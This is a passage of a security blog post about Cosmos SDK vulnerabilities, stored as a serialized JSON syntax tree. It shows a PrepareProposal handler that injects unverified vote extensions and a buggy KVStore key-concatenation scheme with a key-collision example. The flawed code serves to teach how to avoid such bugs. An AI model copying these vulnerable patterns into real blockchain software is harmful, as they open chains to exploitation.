"props":85972,"children":85973},{"style":114},[85974],{"type":29,"value":133},{"type":24,"tag":90,"props":85976,"children":85977},{"style":136},[85978],{"type":29,"value":85979},"req",{"type":24,"tag":90,"props":85981,"children":85982},{"style":120},[85983],{"type":29,"value":366},{"type":24,"tag":90,"props":85985,"children":85986},{"style":146},[85987],{"type":29,"value":85988},"abcitypes",{"type":24,"tag":90,"props":85990,"children":85991},{"style":114},[85992],{"type":29,"value":226},{"type":24,"tag":90,"props":85994,"children":85995},{"style":146},[85996],{"type":29,"value":85997},"RequestPrepareProposal",{"type":24,"tag":90,"props":85999,"children":86000},{"style":114},[86001],{"type":29,"value":78212},{"type":24,"tag":90,"props":86003,"children":86004},{"style":120},[86005],{"type":29,"value":983},{"type":24,"tag":90,"props":86007,"children":86008},{"style":146},[86009],{"type":29,"value":85988},{"type":24,"tag":90,"props":86011,"children":86012},{"style":114},[86013],{"type":29,"value":226},{"type":24,"tag":90,"props":86015,"children":86016},{"style":146},[86017],{"type":29,"value":86018},"ResponsePrepareProposal",{"type":24,"tag":90,"props":86020,"children":86021},{"style":114},[86022],{"type":29,"value":133},{"type":24,"tag":90,"props":86024,"children":86025},{"style":146},[86026],{"type":29,"value":1357},{"type":24,"tag":90,"props":86028,"children":86029},{"style":114},[86030],{"type":29,"value":1297},{"type":24,"tag":90,"props":86032,"children":86033},{"class":92,"line":239},[86034],{"type":24,"tag":90,"props":86035,"children":86036},{"style":120},[86037],{"type":29,"value":83672},{"type":24,"tag":90,"props":86039,"children":86040},{"class":92,"line":248},[86041,86045,86050,86054],{"type":24,"tag":90,"props":86042,"children":86043},{"style":97},[86044],{"type":29,"value":81948},{"type":24,"tag":90,"props":86046,"children":86047},{"style":136},[86048],{"type":29,"value":86049}," injection",{"type":24,"tag":90,"props":86051,"children":86052},{"style":114},[86053],{"type":29,"value":78057},{"type":24,"tag":90,"props":86055,"children":86056},{"style":146},[86057],{"type":29,"value":86058},"byte\n",{"type":24,"tag":90,"props":86060,"children":86061},{"class":92,"line":258},[86062,86066,86071,86075,86079,86083,86087,86091,86095,86099,86104,86108,86113,86117,86122],{"type":24,"tag":90,"props":86063,"children":86064},{"style":636},[86065],{"type":29,"value":5667},{"type":24,"tag":90,"props":86067,"children":86068},{"style":136},[86069],{"type":29,"value":86070}," req",{"type":24,"tag":90,"props":86072,"children":86073},{"style":114},[86074],{"type":29,"value":226},{"type":24,"tag":90,"props":86076,"children":86077},{"style":136},[86078],{"type":29,"value":85309},{"type":24,"tag":90,"props":86080,"children":86081},{"style":120},[86082],{"type":29,"value":658},{"type":24,"tag":90,"props":86084,"children":86085},{"style":136},[86086],{"type":29,"value":27652},{"type":24,"tag":90,"props":86088,"children":86089},{"style":114},[86090],{"type":29,"value":226},{"type":24,"tag":90,"props":86092,"children":86093},{"style":108},[86094],{"type":29,"value":85510},{"type":24,"tag":90,"props":86096,"children":86097},{"style":114},[86098],{"type":29,"value":31980},{"type":24,"tag":90,"props":86100,"children":86101},{"style":136},[86102],{"type":29,"value":86103},"Abci",{"type":24,"tag":90,"props":86105,"children":86106},{"style":114},[86107],{"type":29,"value":226},{"type":24,"tag":90,"props":86109,"children":86110},{"style":136},[86111],{"type":29,"value":86112},"VoteExtensionsEnableHeight",{"type":24,"tag":90,"props":86114,"children":86115},{"style":120},[86116],{"type":29,"value":649},{"type":24,"tag":90,"props":86118,"children":86119},{"style":136},[86120],{"type":29,"value":86121}," collectSigs",{"type":24,"tag":90,"props":86123,"children":86124},{"style":114},[86125],{"type":29,"value":269},{"type":24,"tag":90,"props":86127,"children":86128},{"class":92,"line":272},[86129],{"type":24,"tag":90,"props":86130,"children":86131},{"style":252},[86132],{"type":29,"value":86133}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":90,"props":86135,"children":86136},{"class":92,"line":281},[86137,86141,86145,86150,86154,86159,86163,86167,86171,86176,86180,86185,86189,86193,86197,86201,86205,86209,86213,86218,86222,86226,86230,86235],{"type":24,"tag":90,"props":86138,"children":86139},{"style":136},[86140],{"type":29,"value":84166},{"type":24,"tag":90,"props":86142,"children":86143},{"style":120},[86144],{"type":29,"value":78246},{"type":24,"tag":90,"props":86146,"children":86147},{"style":136},[86148],{"type":29,"value":86149}," baseapp",{"type":24,"tag":90,"props":86151,"children":86152},{"style":114},[86153],{"type":29,"value":226},{"type":24,"tag":90,"props":86155,"children":86156},{"style":108},[86157],{"type":29,"value":86158},"ValidateVoteExtensions",{"type":24,"tag":90,"props":86160,"children":86161},{"style":114},[86162],{"type":29,"value":117},{"type":24,"tag":90,"props":86164,"children":86165},{"style":136},[86166],{"type":29,"value":22076},{"type":24,"tag":90,"props":86168,"children":86169},{"style":114},[86170],{"type":29,"value":133},{"type":24,"tag":90,"props":86172,"children":86173},{"style":136},[86174],{"type":29,"value":86175},"h",{"type":24,"tag":90,"props":86177,"children":86178},{"style":114},[86179],{"type":29,"value":226},{"type":24,"tag":90,"props":86181,"children":86182},{"style":136},[86183],{"type":29,"value":86184},"stakingKeeper",{"type":24,"tag":90,"props":86186,"children":86187},{"style":114},[86188],{"type":29,"value":133},{"type":24,"tag":90,"props":86190,"children":86191},{"style":136},[86192],{"type":29,"value":85979},{"type":24,"tag":90,"props":86194,"children":86195},{"style":114},[86196],{"type":29,"value":226},{"type":24,"tag":90,"props":86198,"children":86199},{"style":136},[86200],{"type":29,"value":85309},{"type":24,"tag":90,"props":86202,"children":86203},{"style":114},[86204],{"type":29,"value":133},{"type":24,"tag":90,"props":86206,"children":86207},{"style":136},[86208],{"type":29,"value":22076},{"type":24,"tag":90,"props":86210,"children":86211},{"style":114},[86212],{"type":29,"value":226},{"type":24,"tag":90,"props":86214,"children":86215},{"style":108},[86216],{"type":29,"value":86217},"ChainID",{"type":24,"tag":90,"props":86219,"children":86220},{"style":114},[86221],{"type":29,"value":4900},{"type":24,"tag":90,"props":86223,"children":86224},{"style":136},[86225],{"type":29,"value":85979},{"type":24,"tag":90,"props":86227,"children":86228},{"style":114},[86229],{"type":29,"value":226},{"type":24,"tag":90,"props":86231,"children":86232},{"style":136},[86233],{"type":29,"value":86234},"LocalLastCommit",{"type":24,"tag":90,"props":86236,"children":86237},{"style":114},[86238],{"type":29,"value":1686},{"type":24,"tag":90,"props":86240,"children":86241},{"class":92,"line":384},[86242,86246,86250,86254,86258],{"type":24,"tag":90,"props":86243,"children":86244},{"style":636},[86245],{"type":29,"value":60626},{"type":24,"tag":90,"props":86247,"children":86248},{"style":136},[86249],{"type":29,"value":50344},{"type":24,"tag":90,"props":86251,"children":86252},{"style":120},[86253],{"type":29,"value":66213},{"type":24,"tag":90,"props":86255,"children":86256},{"style":97},[86257],{"type":29,"value":83748},{"type":24,"tag":90,"props":86259,"children":86260},{"style":114},[86261],{"type":29,"value":269},{"type":24,"tag":90,"props":86263,"children":86264},{"class":92,"line":420},[86265,86269,86273,86277],{"type":24,"tag":90,"props":86266,"children":86267},{"style":636},[86268],{"type":29,"value":62554},{"type":24,"tag":90,"props":86270,"children":86271},{"style":97},[86272],{"type":29,"value":83748},{"type":24,"tag":90,"props":86274,"children":86275},{"style":114},[86276],{"type":29,"value":133},{"type":24,"tag":90,"props":86278,"children":86279},{"style":136},[86280],{"type":29,"value":85469},{"type":24,"tag":90,"props":86282,"children":86283},{"class":92,"line":428},[86284],{"type":24,"tag":90,"props":86285,"children":86286},{"style":114},[86287],{"type":29,"value":60710},{"type":24,"tag":90,"props":86289,"children":86290},{"class":92,"line":437},[86291,86296,86300,86304,86308,86313,86317,86322,86326,86330,86334,86338],{"type":24,"tag":90,"props":86292,"children":86293},{"style":136},[86294],{"type":29,"value":86295}," injection",{"type":24,"tag":90,"props":86297,"children":86298},{"style":114},[86299],{"type":29,"value":133},{"type":24,"tag":90,"props":86301,"children":86302},{"style":136},[86303],{"type":29,"value":50243},{"type":24,"tag":90,"props":86305,"children":86306},{"style":120},[86307],{"type":29,"value":216},{"type":24,"tag":90,"props":86309,"children":86310},{"style":136},[86311],{"type":29,"value":86312}," json",{"type":24,"tag":90,"props":86314,"children":86315},{"style":114},[86316],{"type":29,"value":226},{"type":24,"tag":90,"props":86318,"children":86319},{"style":108},[86320],{"type":29,"value":86321},"Marshal",{"type":24,"tag":90,"props":86323,"children":86324},{"style":114},[86325],{"type":29,"value":117},{"type":24,"tag":90,"props":86327,"children":86328},{"style":136},[86329],{"type":29,"value":85979},{"type":24,"tag":90,"props":86331,"children":86332},{"style":114},[86333],{"type":29,"value":226},{"type":24,"tag":90,"props":86335,"children":86336},{"style":136},[86337],{"type":29,"value":86234},{"type":24,"tag":90,"props":86339,"children":86340},{"style":114},[86341],{"type":29,"value":1686},{"type":24,"tag":90,"props":86343,"children":86344},{"class":92,"line":574},[86345,86349,86353,86357,86361],{"type":24,"tag":90,"props":86346,"children":86347},{"style":636},[86348],{"type":29,"value":60626},{"type":24,"tag":90,"props":86350,"children":86351},{"style":136},[86352],{"type":29,"value":50344},{"type":24,"tag":90,"props":86354,"children":86355},{"style":120},[86356],{"type":29,"value":66213},{"type":24,"tag":90,"props":86358,"children":86359},{"style":97},[86360],{"type":29,"value":83748},{"type":24,"tag":90,"props":86362,"children":86363},{"style":114},[86364],{"type":29,"value":269},{"type":24,"tag":90,"props":86366,"children":86367},{"class":92,"line":606},[86368,86373,86377,86382,86386,86390,86394,86399,86403,86408,86412,86416],{"type":24,"tag":90,"props":86369,"children":86370},{"style":136},[86371],{"type":29,"value":86372}," h",{"type":24,"tag":90,"props":86374,"children":86375},{"style":114},[86376],{"type":29,"value":226},{"type":24,"tag":90,"props":86378,"children":86379},{"style":136},[86380],{"type":29,"value":86381},"logger",{"type":24,"tag":90,"props":86383,"children":86384},{"style":114},[86385],{"type":29,"value":226},{"type":24,"tag":90,"props":86387,"children":86388},{"style":108},[86389],{"type":29,"value":39214},{"type":24,"tag":90,"props":86391,"children":86392},{"style":114},[86393],{"type":29,"value":117},{"type":24,"tag":90,"props":86395,"children":86396},{"style":1085},[86397],{"type":29,"value":86398},"\"failed to marshal extended votes\"",{"type":24,"tag":90,"props":86400,"children":86401},{"style":114},[86402],{"type":29,"value":133},{"type":24,"tag":90,"props":86404,"children":86405},{"style":1085},[86406],{"type":29,"value":86407},"\"err\"",{"type":24,"tag":90,"props":86409,"children":86410},{"style":114},[86411],{"type":29,"value":133},{"type":24,"tag":90,"props":86413,"children":86414},{"style":136},[86415],{"type":29,"value":50243},{"type":24,"tag":90,"props":86417,"children":86418},{"style":114},[86419],{"type":29,"value":1686},{"type":24,"tag":90,"props":86421,"children":86422},{"class":92,"line":615},[86423,86427,86431,86435],{"type":24,"tag":90,"props":86424,"children":86425},{"style":636},[86426],{"type":29,"value":62554},{"type":24,"tag":90,"props":86428,"children":86429},{"style":97},[86430],{"type":29,"value":83748},{"type":24,"tag":90,"props":86432,"children":86433},{"style":114},[86434],{"type":29,"value":133},{"type":24,"tag":90,"props":86436,"children":86437},{"style":136},[86438],{"type":29,"value":85469},{"type":24,"tag":90,"props":86440,"children":86441},{"class":92,"line":623},[86442],{"type":24,"tag":90,"props":86443,"children":86444},{"style":114},[86445],{"type":29,"value":60710},{"type":24,"tag":90,"props":86447,"children":86448},{"class":92,"line":632},[86449],{"type":24,"tag":90,"props":86450,"children":86451},{"style":120},[86452],{"type":29,"value":84348},{"type":24,"tag":90,"props":86454,"children":86455},{"class":92,"line":669},[86456],{"type":24,"tag":90,"props":86457,"children":86458},{"style":114},[86459],{"type":29,"value":5740},{"type":24,"tag":90,"props":86461,"children":86462},{"class":92,"line":683},[86463,86468,86472,86476,86480,86485,86489,86494,86498,86502,86506,86510],{"type":24,"tag":90,"props":86464,"children":86465},{"style":136},[86466],{"type":29,"value":86467}," defaultRes",{"type":24,"tag":90,"props":86469,"children":86470},{"style":114},[86471],{"type":29,"value":133},{"type":24,"tag":90,"props":86473,"children":86474},{"style":136},[86475],{"type":29,"value":50243},{"type":24,"tag":90,"props":86477,"children":86478},{"style":120},[86479],{"type":29,"value":78246},{"type":24,"tag":90,"props":86481,"children":86482},{"style":136},[86483],{"type":29,"value":86484}," h",{"type":24,"tag":90,"props":86486,"children":86487},{"style":114},[86488],{"type":29,"value":226},{"type":24,"tag":90,"props":86490,"children":86491},{"style":108},[86492],{"type":29,"value":86493},"defaultPrepareProposal",{"type":24,"tag":90,"props":86495,"children":86496},{"style":114},[86497],{"type":29,"value":117},{"type":24,"tag":90,"props":86499,"children":86500},{"style":136},[86501],{"type":29,"value":22076},{"type":24,"tag":90,"props":86503,"children":86504},{"style":114},[86505],{"type":29,"value":133},{"type":24,"tag":90,"props":86507,"children":86508},{"style":136},[86509],{"type":29,"value":85979},{"type":24,"tag":90,"props":86511,"children":86512},{"style":114},[86513],{"type":29,"value":1686},{"type":24,"tag":90,"props":86515,"children":86516},{"class":92,"line":737},[86517],{"type":24,"tag":90,"props":86518,"children":86519},{"style":120},[86520],{"type":29,"value":83672},{"type":24,"tag":90,"props":86522,"children":86523},{"class":92,"line":751},[86524,86529,86533,86538,86542],{"type":24,"tag":90,"props":86525,"children":86526},{"style":136},[86527],{"type":29,"value":86528}," proposalTxs",{"type":24,"tag":90,"props":86530,"children":86531},{"style":120},[86532],{"type":29,"value":78246},{"type":24,"tag":90,"props":86534,"children":86535},{"style":136},[86536],{"type":29,"value":86537}," defaultRes",{"type":24,"tag":90,"props":86539,"children":86540},{"style":114},[86541],{"type":29,"value":226},{"type":24,"tag":90,"props":86543,"children":86544},{"style":136},[86545],{"type":29,"value":86546},"Txs\n",{"type":24,"tag":90,"props":86548,"children":86549},{"class":92,"line":782},[86550,86554,86558,86562,86566],{"type":24,"tag":90,"props":86551,"children":86552},{"style":636},[86553],{"type":29,"value":5667},{"type":24,"tag":90,"props":86555,"children":86556},{"style":136},[86557],{"type":29,"value":86049},{"type":24,"tag":90,"props":86559,"children":86560},{"style":120},[86561],{"type":29,"value":66213},{"type":24,"tag":90,"props":86563,"children":86564},{"style":97},[86565],{"type":29,"value":83748},{"type":24,"tag":90,"props":86567,"children":86568},{"style":114},[86569],{"type":29,"value":269},{"type":24,"tag":90,"props":86571,"children":86572},{"class":92,"line":791},[86573,86578,86582,86586,86591,86596,86600,86605,86609,86614,86618],{"type":24,"tag":90,"props":86574,"children":86575},{"style":136},[86576],{"type":29,"value":86577}," proposalTxs",{"type":24,"tag":90,"props":86579,"children":86580},{"style":120},[86581],{"type":29,"value":216},{"type":24,"tag":90,"props":86583,"children":86584},{"style":108},[86585],{"type":29,"value":79526},{"type":24,"tag":90,"props":86587,"children":86588},{"style":114},[86589],{"type":29,"value":86590},"([][]",{"type":24,"tag":90,"props":86592,"children":86593},{"style":146},[86594],{"type":29,"value":86595},"byte",{"type":24,"tag":90,"props":86597,"children":86598},{"style":114},[86599],{"type":29,"value":78448},{"type":24,"tag":90,"props":86601,"children":86602},{"style":136},[86603],{"type":29,"value":86604},"injection",{"type":24,"tag":90,"props":86606,"children":86607},{"style":114},[86608],{"type":29,"value":78467},{"type":24,"tag":90,"props":86610,"children":86611},{"style":136},[86612],{"type":29,"value":86613},"proposalTxs",{"type":24,"tag":90,"props":86615,"children":86616},{"style":120},[86617],{"type":29,"value":3013},{"type":24,"tag":90,"props":86619,"children":86620},{"style":114},[86621],{"type":29,"value":1686},{"type":24,"tag":90,"props":86623,"children":86624},{"class":92,"line":799},[86625,86630,86634,86638,86642,86646,86650,86655,86659,86664,86668,86672,86676,86680],{"type":24,"tag":90,"props":86626,"children":86627},{"style":136},[86628],{"type":29,"value":86629}," h",{"type":24,"tag":90,"props":86631,"children":86632},{"style":114},[86633],{"type":29,"value":226},{"type":24,"tag":90,"props":86635,"children":86636},{"style":136},[86637],{"type":29,"value":86381},{"type":24,"tag":90,"props":86639,"children":86640},{"style":114},[86641],{"type":29,"value":226},{"type":24,"tag":90,"props":86643,"children":86644},{"style":108},[86645],{"type":29,"value":26519},{"type":24,"tag":90,"props":86647,"children":86648},{"style":114},[86649],{"type":29,"value":117},{"type":24,"tag":90,"props":86651,"children":86652},{"style":1085},[86653],{"type":29,"value":86654},"\"injected local last commit\"",{"type":24,"tag":90,"props":86656,"children":86657},{"style":114},[86658],{"type":29,"value":133},{"type":24,"tag":90,"props":86660,"children":86661},{"style":1085},[86662],{"type":29,"value":86663},"\"height\"",{"type":24,"tag":90,"props":86665,"children":86666},{"style":114},[86667],{"type":29,"value":133},{"type":24,"tag":90,"props":86669,"children":86670},{"style":136},[86671],{"type":29,"value":85979},{"type":24,"tag":90,"props":86673,"children":86674},{"style":114},[86675],{"type":29,"value":226},{"type":24,"tag":90,"props":86677,"children":86678},{"style":136},[86679],{"type":29,"value":85309},{"type":24,"tag":90,"props":86681,"children":86682},{"style":114},[86683],{"type":29,"value":1686},{"type":24,"tag":90,"props":86685,"children":86686},{"class":92,"line":807},[86687],{"type":24,"tag":90,"props":86688,"children":86689},{"style":114},[86690],{"type":29,"value":5740},{"type":24,"tag":90,"props":86692,"children":86693},{"class":92,"line":821},[86694,86698,86702,86706,86710,86714],{"type":24,"tag":90,"props":86695,"children":86696},{"style":636},[86697],{"type":29,"value":2253},{"type":24,"tag":90,"props":86699,"children":86700},{"style":120},[86701],{"type":29,"value":455},{"type":24,"tag":90,"props":86703,"children":86704},{"style":146},[86705],{"type":29,"value":85988},{"type":24,"tag":90,"props":86707,"children":86708},{"style":114},[86709],{"type":29,"value":226},{"type":24,"tag":90,"props":86711,"children":86712},{"style":146},[86713],{"type":29,"value":86018},{"type":24,"tag":90,"props":86715,"children":86716},{"style":114},[86717],{"type":29,"value":2221},{"type":24,"tag":90,"props":86719,"children":86720},{"class":92,"line":6278},[86721,86726,86730,86734],{"type":24,"tag":90,"props":86722,"children":86723},{"style":136},[86724],{"type":29,"value":86725}," Txs",{"type":24,"tag":90,"props":86727,"children":86728},{"style":114},[86729],{"type":29,"value":1833},{"type":24,"tag":90,"props":86731,"children":86732},{"style":136},[86733],{"type":29,"value":86613},{"type":24,"tag":90,"props":86735,"children":86736},{"style":114},[86737],{"type":29,"value":748},{"type":24,"tag":90,"props":86739,"children":86740},{"class":92,"line":11420},[86741,86746],{"type":24,"tag":90,"props":86742,"children":86743},{"style":114},[86744],{"type":29,"value":86745}," }, ",{"type":24,"tag":90,"props":86747,"children":86748},{"style":97},[86749],{"type":29,"value":78472},{"type":24,"tag":90,"props":86751,"children":86752},{"class":92,"line":11438},[86753],{"type":24,"tag":90,"props":86754,"children":86755},{"style":114},[86756],{"type":29,"value":612},{"type":24,"tag":90,"props":86758,"children":86759},{"class":92,"line":11483},[86760],{"type":24,"tag":90,"props":86761,"children":86762},{"style":114},[86763],{"type":29,"value":827},{"type":24,"tag":25,"props":86765,"children":86766},{},[86767,86769,86774,86775,86780,86782,86789],{"type":29,"value":86768},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":32,"props":86770,"children":86772},{"className":86771},[],[86773],{"type":29,"value":85138},{"type":29,"value":1151},{"type":24,"tag":32,"props":86776,"children":86778},{"className":86777},[],[86779],{"type":29,"value":85206},{"type":29,"value":86781},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":69,"props":86783,"children":86786},{"href":86784,"rel":86785},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[73],[86787],{"type":29,"value":86788},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":86790},", which will later get rejected by CometBTF.",{"type":24,"tag":850,"props":86792,"children":86794},{"id":86793},"the-keymaker",[86795],{"type":29,"value":86796},"The Keymaker",{"type":24,"tag":25,"props":86798,"children":86799},{},[86800,86802,86808,86810,86815],{"type":29,"value":86801},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":32,"props":86803,"children":86805},{"className":86804},[],[86806],{"type":29,"value":86807},"KVStore",{"type":29,"value":86809}," to handle states efficently. In ",{"type":24,"tag":32,"props":86811,"children":86813},{"className":86812},[],[86814],{"type":29,"value":86807},{"type":29,"value":86816},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":86818,"children":86819},{},[86820],{"type":29,"value":86821},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":86823,"children":86824},{},[86825,86827,86833],{"type":29,"value":86826},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":32,"props":86828,"children":86830},{"className":86829},[],[86831],{"type":29,"value":86832},"positionMap",{"type":29,"value":86834}," structure mentioned below into storage.",{"type":24,"tag":80,"props":86836,"children":86838},{"code":86837,"language":77994,"meta":7,"className":77995,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[86839],{"type":24,"tag":32,"props":86840,"children":86841},{"__ignoreMap":7},[86842,86858,86875,86891,86910,86925,86932,86949],{"type":24,"tag":90,"props":86843,"children":86844},{"class":92,"line":93},[86845,86849,86854],{"type":24,"tag":90,"props":86846,"children":86847},{"style":97},[86848],{"type":29,"value":34570},{"type":24,"tag":90,"props":86850,"children":86851},{"style":146},[86852],{"type":29,"value":86853}," VaultId",{"type":24,"tag":90,"props":86855,"children":86856},{"style":146},[86857],{"type":29,"value":78032},{"type":24,"tag":90,"props":86859,"children":86860},{"class":92,"line":200},[86861,86865,86870],{"type":24,"tag":90,"props":86862,"children":86863},{"style":97},[86864],{"type":29,"value":34570},{"type":24,"tag":90,"props":86866,"children":86867},{"style":146},[86868],{"type":29,"value":86869}," Username",{"type":24,"tag":90,"props":86871,"children":86872},{"style":146},[86873],{"type":29,"value":86874}," string\n",{"type":24,"tag":90,"props":86876,"children":86877},{"class":92,"line":239},[86878,86882,86887],{"type":24,"tag":90,"props":86879,"children":86880},{"style":97},[86881],{"type":29,"value":34570},{"type":24,"tag":90,"props":86883,"children":86884},{"style":146},[86885],{"type":29,"value":86886}," PositionName",{"type":24,"tag":90,"props":86888,"children":86889},{"style":146},[86890],{"type":29,"value":86874},{"type":24,"tag":90,"props":86892,"children":86893},{"class":92,"line":248},[86894,86898,86902,86906],{"type":24,"tag":90,"props":86895,"children":86896},{"style":97},[86897],{"type":29,"value":34570},{"type":24,"tag":90,"props":86899,"children":86900},{"style":146},[86901],{"type":29,"value":9806},{"type":24,"tag":90,"props":86903,"children":86904},{"style":97},[86905],{"type":29,"value":22947},{"type":24,"tag":90,"props":86907,"children":86908},{"style":114},[86909],{"type":29,"value":269},{"type":24,"tag":90,"props":86911,"children":86912},{"class":92,"line":258},[86913,86917,86921],{"type":24,"tag":90,"props":86914,"children":86915},{"style":136},[86916],{"type":29,"value":45050},{"type":24,"tag":90,"props":86918,"children":86919},{"style":114},[86920],{"type":29,"value":78057},{"type":24,"tag":90,"props":86922,"children":86923},{"style":146},[86924],{"type":29,"value":86058},{"type":24,"tag":90,"props":86926,"children":86927},{"class":92,"line":272},[86928],{"type":24,"tag":90,"props":86929,"children":86930},{"style":114},[86931],{"type":29,"value":827},{"type":24,"tag":90,"props":86933,"children":86934},{"class":92,"line":281},[86935,86939,86944],{"type":24,"tag":90,"props":86936,"children":86937},{"style":97},[86938],{"type":29,"value":34570},{"type":24,"tag":90,"props":86940,"children":86941},{"style":146},[86942],{"type":29,"value":86943}," PositionMap",{"type":24,"tag":90,"props":86945,"children":86946},{"style":120},[86947],{"type":29,"value":86948}," :=\n",{"type":24,"tag":90,"props":86950,"children":86951},{"class":92,"line":384},[86952,86957,86961,86966,86970,86974,86978,86983,86987,86991,86995,87000,87004],{"type":24,"tag":90,"props":86953,"children":86954},{"style":97},[86955],{"type":29,"value":86956}," map",{"type":24,"tag":90,"props":86958,"children":86959},{"style":114},[86960],{"type":29,"value":719},{"type":24,"tag":90,"props":86962,"children":86963},{"style":146},[86964],{"type":29,"value":86965},"VaultId",{"type":24,"tag":90,"props":86967,"children":86968},{"style":114},[86969],{"type":29,"value":1914},{"type":24,"tag":90,"props":86971,"children":86972},{"style":97},[86973],{"type":29,"value":68929},{"type":24,"tag":90,"props":86975,"children":86976},{"style":114},[86977],{"type":29,"value":719},{"type":24,"tag":90,"props":86979,"children":86980},{"style":146},[86981],{"type":29,"value":86982},"Username",{"type":24,"tag":90,"props":86984,"children":86985},{"style":114},[86986],{"type":29,"value":1914},{"type":24,"tag":90,"props":86988,"children":86989},{"style":97},[86990],{"type":29,"value":68929},{"type":24,"tag":90,"props":86992,"children":86993},{"style":114},[86994],{"type":29,"value":719},{"type":24,"tag":90,"props":86996,"children":86997},{"style":146},[86998],{"type":29,"value":86999},"PositionName",{"type":24,"tag":90,"props":87001,"children":87002},{"style":114},[87003],{"type":29,"value":1914},{"type":24,"tag":90,"props":87005,"children":87006},{"style":146},[87007],{"type":29,"value":87008},"Position\n",{"type":24,"tag":25,"props":87010,"children":87011},{},[87012,87014,87020],{"type":29,"value":87013},"Given that there are two levels of keys in ",{"type":24,"tag":32,"props":87015,"children":87017},{"className":87016},[],[87018],{"type":29,"value":87019},"PositionMap",{"type":29,"value":87021},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":80,"props":87023,"children":87025},{"code":87024,"language":77994,"meta":7,"className":77995,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[87026],{"type":24,"tag":32,"props":87027,"children":87028},{"__ignoreMap":7},[87029,87058,87070,87082,87094,87106],{"type":24,"tag":90,"props":87030,"children":87031},{"class":92,"line":93},[87032,87037,87041,87045,87049,87054],{"type":24,"tag":90,"props":87033,"children":87034},{"style":136},[87035],{"type":29,"value":87036},"storageKey",{"type":24,"tag":90,"props":87038,"children":87039},{"style":120},[87040],{"type":29,"value":78246},{"type":24,"tag":90,"props":87042,"children":87043},{"style":136},[87044],{"type":29,"value":84064},{"type":24,"tag":90,"props":87046,"children":87047},{"style":114},[87048],{"type":29,"value":226},{"type":24,"tag":90,"props":87050,"children":87051},{"style":108},[87052],{"type":29,"value":87053},"Sprintf",{"type":24,"tag":90,"props":87055,"children":87056},{"style":114},[87057],{"type":29,"value":680},{"type":24,"tag":90,"props":87059,"children":87060},{"class":92,"line":200},[87061,87066],{"type":24,"tag":90,"props":87062,"children":87063},{"style":1085},[87064],{"type":29,"value":87065}," \"%d%s%s\"",{"type":24,"tag":90,"props":87067,"children":87068},{"style":114},[87069],{"type":29,"value":748},{"type":24,"tag":90,"props":87071,"children":87072},{"class":92,"line":239},[87073,87078],{"type":24,"tag":90,"props":87074,"children":87075},{"style":136},[87076],{"type":29,"value":87077}," vaultId",{"type":24,"tag":90,"props":87079,"children":87080},{"style":114},[87081],{"type":29,"value":748},{"type":24,"tag":90,"props":87083,"children":87084},{"class":92,"line":248},[87085,87090],{"type":24,"tag":90,"props":87086,"children":87087},{"style":136},[87088],{"type":29,"value":87089}," username",{"type":24,"tag":90,"props":87091,"children":87092},{"style":114},[87093],{"type":29,"value":748},{"type":24,"tag":90,"props":87095,"children":87096},{"class":92,"line":258},[87097,87102],{"type":24,"tag":90,"props":87098,"children":87099},{"style":136},[87100],{"type":29,"value":87101}," positionName",{"type":24,"tag":90,"props":87103,"children":87104},{"style":114},[87105],{"type":29,"value":748},{"type":24,"tag":90,"props":87107,"children":87108},{"class":92,"line":272},[87109],{"type":24,"tag":90,"props":87110,"children":87111},{"style":114},[87112],{"type":29,"value":1686},{"type":24,"tag":25,"props":87114,"children":87115},{},[87116],{"type":29,"value":87117},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":80,"props":87119,"children":87121},{"code":87120},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[87122],{"type":24,"tag":32,"props":87123,"children":87124},{"__ignoreMap":7},[87125],{"type":29,"value":87120},{"type":24,"tag":25,"props":87127,"children":87128},{},[87129,87134],{"type":24,"tag":842,"props":87130,"children":87131},{},[87132],{"type":29,"value":87133},"So, how can we mitigate this issue?",{"type":29,"value":87135},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":80,"props":87137,"children":87139},{"code":87138,"language":77994,"meta":7,"className":77995,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[87140],{"type":24,"tag":32,"props":87141,"children":87142},{"__ignoreMap":7},[87143,87154,87171,87178,87185,87212,87224,87235,87246,87257,87268,87279],{"type":24,"tag":90,"props":87144,"children":87145},{"class":92,"line":93},[87146,87150],{"type":24,"tag":90,"props":87147,"children":87148},{"style":97},[87149],{"type":29,"value":508},{"type":24,"tag":90,"props":87151,"children":87152},{"style":114},[87153],{"type":29,"value":80396},{"type":24,"tag":90,"props":87155,"children":87156},{"class":92,"line":200},[87157,87162,87166],{"type":24,"tag":90,"props":87158,"children":87159},{"style":136},[87160],{"type":29,"value":87161}," Seperator",{"type":24,"tag":90,"props":87163,"children":87164},{"style":120},[87165],{"type":29,"value":216},{"type":24,"tag":90,"props":87167,"children":87168},{"style":1085},[87169],{"type":29,"value":87170}," 